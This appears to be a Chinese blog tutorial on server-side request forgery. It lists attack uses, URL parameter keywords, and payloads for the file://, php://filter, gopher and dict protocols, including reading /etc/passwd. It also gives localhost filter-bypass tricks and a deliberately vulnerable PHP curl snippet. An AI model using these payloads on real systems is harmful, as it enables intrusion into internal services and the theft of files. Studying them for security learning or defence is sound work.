SSRF漏洞

217 阅读2分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第1天,点击查看活动详情

SSRF利用

1.可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306)

2.攻击运行在内网或本地的有漏洞程序(比如溢出)

3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹

4.攻击内网或外网有漏洞的Web应用

5.使用file:///协议读取本地文件(或其他协议)

url常见漏洞关键字

Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain

协议运用

file协议的运用

用于读取本地文件

php://filter

读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

php://input 

可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

/etc/passwd文件

url=file:///etc/passwd

gopher协议的运用

利用gopher协议反弹shell

基本协议格式

URL:gopher://<host>:<port>/<gopher-path> 

构造http数据包->url编码->替换->发送

GET方式

GET /index.php HTTP/1.1 Host:192.168.44.129:80 

一次url编码

GET%20%2Findex.php%20HTTP%2F1.1%0AHost%3A192.168.44.129%3A80 

替换

将%0A(换行) 替换为%0d%0a,末尾加上%0d%0a GET%20%2Findex.php%20HTTP%2F1.1%0d%0aHost%3A192.168.44.129%3A80%0d%0a

执行gopher

gopher://192.168.44.129:80/_GET%20%2Findex.php%20HTTP%2F1.1%0d%0aHost%3A192.168.44.129%3A80%0d%0a

POST方式

将GET方式转为POST方式,其余步骤相同

dict协议应用

可以获取目标服务器端口上运行的服务版本等信息。 

端口开放时

端口未开放时

直接回显

 

如请求http://192.168.163.150/test.php?url=dict://192.168.163.1:6379/info 可以获取目标主机的3306端口上运行着mysq-l5.5.55版本的应用。

常见绕过方式

进制绕过 IP地址进制转换 (520101.com)

url=http://0x7F000001/flag.php

十六进制绕过

url=http://0x7F.0.0.1/flag.php

八进制绕过

url=http://0177.0.0.1/flag.php

0.0.0.0绕过

url=http://0.0.0.0/flag.php

特殊的地址绕过

url=http://0/flag.php

url=http://127.1/flag.php

url=http://127.0000000000000.001/flag.php

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

CIDR绕过localhost

url=http://127.127.127.127/flag.php

短网址@

?url=baidu.com@127.0.0.1

后面跟参数

?url=http://127.0.0.1?a=aasdfsd

添加端口号

?url=http://127.0.0.1:80

指向任意ip的域名xip.io

?url=127.0.0.1.xip.io

无任何防御的漏洞代码

<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>